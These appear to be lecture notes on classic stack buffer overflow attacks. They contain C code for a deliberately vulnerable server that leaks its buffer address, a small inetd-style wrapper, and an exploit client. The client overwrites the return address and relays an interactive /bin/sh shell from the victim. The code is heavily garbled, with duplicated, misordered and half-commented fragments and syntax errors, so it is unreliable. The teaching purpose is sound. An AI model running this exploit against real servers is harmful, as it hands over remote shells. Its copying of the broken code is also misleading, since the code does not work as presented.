1. Introduction to buffer overflow attacks

There are many ways to attack computers. Today we study the "classic" method.

This method has been adapted to many different types of attacks, but the concepts are similar.

We study this attack not to teach you all to become hackers but rather to educate you about vulnerabilities: what they are, how they work, and how to defend against them. Please remember: although the approaches used to break into computers are very interesting, breaking into a computer that you do not own is, in most cases, a criminal act.

2. Let's examine a vulnerable server, buggy-server.c

3. Now let's examine how an unscrupulous element (a hacker, a script kiddie, a worm, etc.) might exploit the server.

Thanks to Russ Cox for the code

---

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

void
serve(void)
{
    int n;
    char buf[100];
    char* ebp;

    memset(buf, 0, sizeof buf);

    /* The server is obliging and actually tells the client where
     * in memory 'buf' is located.
     */
    fprintf(stdout, "the address of the buffer is %p
", buf);
    fflush(stdout);

    /* Read in the length from the client; store the length in 'n'
     * fread(&n, 1, sizeof n, stdin);
     */
    /* The return address lives directly above where the frame
     * pointer, ebp, is pointing. This area of memory is 120 bytes
     * past the start of 'buf', as we learn by examining a
     * disassembly of buggy-server. Below we illustrate that ebp+4
     * and buf+120 are holding the same data. To print out the
     * return address, we use buf[120].
     */
    asm volatile ("movl %ebp, %0 : " : "=r" (ebp));
    assert(*((int*) (ebp+4)) == *((int*) (buf+120)));
    fprintf(stdout, "My return address is: %x
", *

```
/* This server is very simple so just tells the client whatever the client gave the server. A real server would process buf somehow.

fprintf(stdout, "you gave me: %s
", buf);
fflush(stdout);
}

int main(int argc, char ** argv)
{
    char buf[400];
    int n, fd, addr;
    uint32_t server_ip_addr, uint16_t server_port;
    char* msg;
    if (argc != 3) {
        fprintf(stderr, "usage: %s ip_addr port
", argv[0]);
        exit(1);
    }
    server_ip_addr = inet_addr(argv[1]);
    server_port = htons(atoi(argv[2]));
    if ((fd = dial(server_ip_addr, server_port)) < 0) {
        fprintf(stderr, "dial: %s
", strerror(errno));
        exit(1);
    }
    if ((n = read(fd, buf, sizeof(buf)-1)) < 0) {
        fprintf(stderr, "socket read: %s
", strerror(errno));
        exit(1);
    }
    buf[n] = 0;
    if (strncmp(buf, "the address of the buffer is", 29) != 0){
        fprintf(stderr, "bad message: %s
", buf);
        exit(1);
    }
    addr = strtoul(buf+29, 0, 0);
    fprintf(stderr, "remote buffer is %x
", addr);
    msg = "hello, exploitable server."
    n = strlen(msg);
    write(fd, &n, 4);
    write(fd, msg, n);
    while ((n = read(fd, buf, sizeof(buf)) > 0)
    {
        write(1, buf, n);
    }
    return 0;
}

int dial(uint32_t dest_ip, uint16_t dest_port) {
    int fd;
    struct sockaddr_in sin;
    if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1;
    memset(&sin, 0, sizeof(sin));
    sin.sin_family = AF_INET;
    sin.sin_port = dest_port;
    sin.sin_addr.s_addr = dest_ip;
    /* begin a TCP connection to the server */
    if (connect(fd, (struct sockaddr*)&sin, sizeof(sin) < 0) return -1;
    return fd;
/*
 * Author: Russ Cox, rsc@csail.mit.edu
 * Date: April 28, 2006
 *  This program is a simplified 'inetd'. That is, this program takes some
 * other program, 'prog', and runs prog "over the network", by:
 * −−listening to a particular TCP port, p
 * −−creating a new TCP connection every time a client connects
 * on p
 * −−running a new instance of prog, where the stdin and stdout for
 * the new process are actually the new TCP connection
 * In this way, 'prog' can talk to a TCP client without ever "realizing"
 * that it is talking over the network. This "replacement" of the usual
 * values of stdin and stdout with a network connection is exactly what
 * happens with shell pipes. With pipes, a process's stdin or stdout
 * becomes the pipe, via the dup2() system call.
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(int argc, char **argv)
{
    int afd, port;
    struct sockaddr_in sin;
    sin.sin_family = AF_INET;
    sin.sin_port = htons(port);
    sin.sin_addr.s_addr = htonl(INADDR_ANY);

    if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
        perror("socket");
        return -1;
    }

    n = 1;
    if(setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (char*)"n", sizeof n) < 0){
        perror("reuseaddr");
        close(fd);
        return -1;
    }

    fcntl(fd, F_SETFD, 1);
    if(bind(fd, (struct sockaddr*)&sin, sizeof sin) < 0){
        perror("bind");
        close(fd);
        return -1;
    }

    if(listen(fd, 10) < 0){
        perror("listen");
    }

    close(fd);
    return fd;
}

int startprog(int fd)
{
    int dup2(fd, 0);
    dup2(fd, 1);
    dup2(fd, 2);
    if(fd > 2)
        close(fd);

    /* Now run 'prog' */
    execvp(execargs[0], execargs);
    return 0;
}

if(argc < 3 || argv[1][0] == '-'){
    Usage:
    fprintf(stderr, "usage: tcpserve port prog [args...\n]"
            " return 1;"
    }

    port = atoi(argv[1]);
    if(port == 0)
        goto Usage;
    execargs[0] = port;
    sa.sa_handler = SIG_IGN;
    sa.sa_flags = SA_NOCLDSTOP|SA_NCLDWAIT;
    sigaction(SIGCHLD, &sa, 0);
    if((afd = announce(port)) < 0)
        return 1;

    close(fd);
    return fd;
}

int announce(int port)
{  
    int fd, n;
    struct sockaddr_in sin;
    memset(&sin, 0, sizeof sin);
    sin.sin_family = AF_INET;
    sin.sin_port = htons(port);
    sin.sin_addr.s_addr = htonl(INADDR_ANY);

    if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
        perror("socket");
        return -1;
    }

    n = 1;
    if(setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (char*)"n", sizeof n) < 0){
        perror("reuseaddr");
        close(fd);
        return -1;
    }

    fcntl(fd, F_SETFD, 1);
    if(bind(fd, (struct sockaddr*)&sin, sizeof sin) < 0){
        perror("bind");
        close(fd);
        return -1;
    }

    if(listen(fd, 10) < 0){
        perror("listen");
    }

    close(fd);
    return fd;
}

*/

/* Here is where the replacement of the usual stdin and stdout
 * happen. The next three lines say, "Ignore whatever value we used to
 * have for stdin, stdout, and stderr, and replace those three with
 * "the network connection."
 */

*/
case 0:
    /* this case is executed by the child process */
    startprog(fd);
    _exit(1);
    close(fd);
    return 0;
```c
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>

char msg[REMOTE_BUF_LEN + NCOPIES*4];

char helpfulinfo[100];

char victim_ip_addr = inet_addr(argv[1]);
victim_port    = htons(atoi(argv[2]));
fd = dial(victim_ip_addr, victim_port);
if(fd < 0){
    fprintf(stderr, "dial: %s
    exit(1);
}

if (argc != 3) {
    fprintf(stderr, "usage: exploit ip_addr port
    exit(1);
}

n = read(fd, helpfulinfo, sizeof helpfulinfo-1);
if(n < 0){
    fprintf(stderr, "socket read: %s
    exit(1);
}

if(strncmp(helpfulinfo, "the address of the buffer is ", 29) != 0){
    fprintf(stderr, ", bad message: %s", strerror(errno));
    exit(1);
}

/* null-terminate our copy of the helpful information */
helpfulinfo[n] = 0;

/* check to make sure that the server gave us the helpful information we were expecting. */
if(argc != 4) {
    fprintf(stdout, "exploit: %s", argv[0]);
    exit(1);
}

memcpy(msg, helpfulinfo+30, n);
helpfulinfo[n] = 0;
helpfulinfo[n+1] = '\0';

/* Pull out the actual address where the server's buf is stored. */
/* we use this address below, as we construct our assembly code. */
addr = strtol(helpfulinfo+29, 0, 0);

int i, n, fd, addr;
uint32_t victim_ip_addr;
uint16_t victim_port;

if (argc != 3) {
    fprintf(stderr, "usage: exploit ip_addr port
    exit(1);
}

n = read(fd, helpfulinfo, sizeof helpfulinfo-1);
if(n < 0){
    fprintf(stderr, "socket read: %s
    exit(1);
}

/* null-terminate our copy of the helpful information */
helpfulinfo[n] = 0;

/* check to make sure that the server gave us the helpful information we were expecting. */
if(argc != 4) {
    fprintf(stderr, "exploit: %s", argv[0]);
    exit(1);
}

i = 1; /* offsets into assembly */
MovEbx = 6, /* constant moved into ebx */
MovEcx = 11, /* ... into ecx */
MovEdx = 16, /* ... into edx */
Arg0 = 22, /* string arg0 ("/bin/sh") */
Arg1 = 36, /* string arg1 ("-i") */
Arg2Ptr = 33, /* ptr to arg2 (=argv[1]) */
Arg2Ptr = 37, /* ptr to arg2 (==argv[1]) */
Arg2Ptr = 41 /* zero (=argv[2]) */;
}

eenum {
    REMOTE_BUF_LEN = 100,
    NCOPIES = 24
};

int main(int argc, char** argv) {
    dial:uint32_t, uint16_t;
    int main(int argc, char** argv) {
    
    char helpfulinfo[100];
    char msg[REMOTE_BUF_LEN + NCOPIES*4];
    int i, n, fd, addr;
    uint32_t victim_ip_addr;
    uint16_t victim_port;
    
    if (argc != 3) {
        fprintf(stderr, "usage: exploit ip_addr port
        exit(1);
    }
    
    victim_ip_addr = inet_addr(argv[1]);
    victim_port    = htons(atoi(argv[2]));
    fd = dial(victim_ip_addr, victim_port);
    if(fd < 0){
        fprintf(stderr, "dial: %s
        exit(1);
    }
    
    /* this line reads the line from the server wherein the server tells the client where its stack is located. (thank you, server!) */
    /* Pull out the actual address where the server's buf is stored. */
    /* we use this address below, as we construct our assembly code. */
    addr = strtol(helpfulinfo+29, 0, 0);
    fprintf(stderr, "remote buffer is at address %x", addr);
    
    /* Here, we construct the contents of msg. We'll copy the shell code into msg and also "fill out" this little assembly program with some needed constants. */
    /* memmove(msg, shellcode, sizeof shellcode);
    */
    
    /* fill in the arguments to exec. The first argument is a pointer to the name of the program to execute, so we fill in the address of the string, "/bin/sh".
    */
    
    /*(int*)(msg+MovEbx) = addr+Arg0;
    */
    
    /* The second argument is a pointer to the argv array (which is itself an array of pointers) that the shell will be passed. */
    /* This array is currently not filled in, but we can still put a pointer to the array in the shellcode. */
    /*(int*)(msg+MovEcx) = addr+ArgPtr;
    */
    
    /* The third argument is the address of a location that holds 0 */
    /*(int*)(msg+MovEdx) = addr+Arg2Ptr;
    */
    ```
/* The array of addresses mentioned above are the arguments that
 * /bin/sh should begin with. In our case, /bin/sh only begins
 * with its own name and "−i", which means "interactive". These
 * lines load the 'argv' array.
 */

*(int*)(msg+Arg0Ptr) = addr+Arg0;
*(int*)(msg+Arg1Ptr) = addr+Arg1;

/* This line is one of the keys -- it places NCOPIES different copies
 * of our desired return address, which is the start of the message
 * in the server’s address space. We use multiple copies in the hope
 * that one of them overwrites the return address on the stack. We
 * could have used more copies or fewer.
 */

for(i=0; i<NCOPIES; i++)
  *(int*)(msg + REMOTE_BUF_LEN + i*4) = addr;

n = REMOTE_BUF_LEN + NCOPIES*4;
/* Tell the server how long our message is. */
write(fd, &n, 4);
/* And now send the message, thereby smashing the server’s stack. */
write(fd, msg, n);

/* These next lines: */
/* (1) read from the client’s stdin, and write to the network
 * connection (which should now have a shell on the other
 * end);
 * (2) read from the network connection, and write to the
 * client’s stdout.
 * In other words, these lines take care of the I/O for the
 * shell that is running on the server. In this way, we on the
 * client can control the shell that is running on the server.
 */

switch(fork()){
  case 0:
    while((n = read(0, msg, sizeof(msg)) > 0))
      write(fd, msg, n);
    fprintf(stderr, "eof from local
");
    break;
  default:
    while((n = read(fd, msg, sizeof(msg)) > 0))
      write(1, msg, n);
    fprintf(stderr, "eof from remote
");
    break;
}
return 0;

/* boilerplate networking code for initiating a TCP connection */
int
dial(uint32_t dest_ip, uint16_t dest_port)
{
  int fd;
  struct sockaddr_in sin;
  if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    return -1;
  memset(&sin, 0, sizeof(sin));
  sin.sin_family = AF_INET;
  sin.sin_port = dest_port;
  sin.sin_addr.s_addr = dest_ip;

  /* begin a TCP connection to the victim */
  if(connect(fd, (struct sockaddr*)&sin, sizeof(sin)) < 0)
    return -1;
  return fd;
}